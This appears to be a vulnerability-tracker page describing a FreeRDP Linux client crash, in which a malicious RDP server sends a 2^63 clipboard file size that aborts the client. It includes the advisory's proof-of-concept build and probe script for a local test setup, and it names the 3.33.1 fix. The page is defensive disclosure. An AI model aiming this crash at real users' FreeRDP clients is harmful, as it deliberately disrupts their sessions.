Read the docs

FreeRDP Linux client aborts on oversized clipboard file size

Priority LOW 35CWE-617Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-9c9j-2r7q-5gx2. Fix status from GitHub. Impact type from CWE-617.

Summary

FreeRDP versions up to and including 3.33.0 on Linux are affected. A malicious RDP server can send an eight-byte file size of 2^63 for a clipboard file, which triggers a reachable assertion (CWE-617) that aborts the client when the user accesses that file through the FUSE clipboard. The flaw only occurs in builds with WITH_FUSE=ON and WITH_VERBOSE_WINPR_ASSERT=ON.

Written with Claude Haiku 5.5 from the sources below · 2026-11-17

Description from the GitHub advisory

## Summary A malicious RDP server can terminate a FreeRDP 3.33.0 Linux client when the user accesses a file offered through the FUSE clipboard. An eight-byte `FILECONTENTS_SIZE` response with size `2^63` triggers a signed-size assertion. The attack requires `WITH_FUSE=ON` and a build with `WITH_VERBOSE_WINPR_ASSERT=ON`. ## Details For a remote clipboard file without `FD_FILESIZE`, a local FUSE lookup asks the server for its size. [`cliprdr_file_context_server_file_contents_response()`](https://github.com/FreeRDP/FreeRDP/blob/3.33.0/client/common/client_cliprdr_file.c#L1256-L1322) accepts an eight-byte response and stores its `UINT64` value in `fuse_file->size`. [`write_file_attributes()`](https://github.com/FreeRDP/FreeRDP/blob/3.33.0/client/common/client_cliprdr_file.c#L838-L860) then converts that value to signed `off_t` with `WINPR_ASSERTING_INT_CAST`; `0x8000000000000000` aborts the client. The source file is unchanged on `master` at `a5d85a3` (checked November 5, 2026). ## Proof of concept On Linux with working `/dev/fuse`, `libfuse3-dev`, Xvfb, `xclip`, OpenSSL, CMake, Ninja, and a C compiler, use the attached server-only patch and `probe.py`. The patch advertises `remote.txt` without a stored size and responds to the client's size request; the script obtains its local FUSE URI through X11 clipboard and runs `stat`. Run from a disposable directory containing `poc.zip`: ```sh unzip poc.zip -d poc git clone --depth 1 --branch 3.33.0 https://github.com/FreeRDP/FreeRDP.git freerdp-3.33.0 cd freerdp-3.33.0 git apply ../poc/server.patch cmake -S . -B build-poc -G Ninja -DCMAKE_BUILD_TYPE=Release \ -DWITH_CLIENT=ON -DWITH_X11=ON -DWITH_CLIENT_SDL=OFF \ -DWITH_SERVER=ON -DWITH_SAMPLE=ON -DWITH_FUSE=ON \ -DWITH_CUPS=OFF -DWITH_KRB5=OFF -DWITH_VERBOSE_WINPR_ASSERT=ON cmake --build build-poc --target xfreerdp sfreerdp-server -j 4 openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout server.key -out server.crt -subj '/CN=localhost' Xvfb :96 -screen 0 1024x768x24 -nolisten tcp & xvfb_pid=$! server_bin="$PWD/build-poc/server/Sample/sfreerdp-server" server_dir="$PWD/build-poc/server/Sample" client_bin="$PWD/build-poc/client/X11/xfreerdp" cert="$PWD/server.crt" key="$PWD/server.key" sleep 1 (cd "$server_dir" && CLIPRDR_POC_SIZE=1 exec "$server_bin" \ --port=34030 --cert="$cert" --key="$key") & server_pid=$! sleep 1 python3 ../poc/probe.py --client "$client_bin" \ --display :96 --log control-client.log kill "$server_pid" wait "$server_pid" 2>/dev/null || true sleep 1 (cd "$server_dir" && CLIPRDR_POC_SIZE=0x8000000000000000 exec "$server_bin" \ --port=34030 --cert="$cert" --key="$key") & server_pid=$! sleep 1 python3 ../poc/probe.py --client "$client_bin" \ --display :96 --log attack-client.log kill "$server_pid" wait "$server_pid" 2>/dev/null || true kill "$xvfb_pid" wait "$xvfb_pid" 2>/dev/null || true ``` The size-1 control returned `stat Size: 1`; the client stayed alive through the probe. With size `2^63`, `stat` reported a disconnected FUSE endpoint and the stock client aborted at `client_cliprdr_file.c:855` (SIGABRT). `probe.py` prints the client exit status and log path. `/cert:ignore` applies only to this disposable TLS server. ## Impact Client availability on Linux clients built with FUSE clipboard support and verbose WinPR assertions. The user must access a remote file offered through the clipboard; one server-controlled file-size response then terminates the client process. Linux builds enable FUSE by default when the build dependency is available, but a working `/dev/fuse` is required at runtime. The E2E result was obtained with X11 `xfreerdp`.

Why it matters now

Fix Fixed FreeRDP: 3.33.1

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP<= 3.33.03.33.1Patch availableGHSA-9c9j-2r7q-5gx2
  • FreeRDP Vendor— Affected <= 3.33.0 Fixed in 3.33.1 Patch available GHSA-9c9j-2r7q-5gx2

Remediation

Update FreeRDP to version 3.33.1, which fixes this issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-17

  • Fix · GHSA-9c9j-2r7q-5gx2 FreeRDP Fixed in 3.33.1 Advisory →

Timeline

  1. 2026-11-17 Threatist record created from GHSA-9c9j-2r7q-5gx2

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences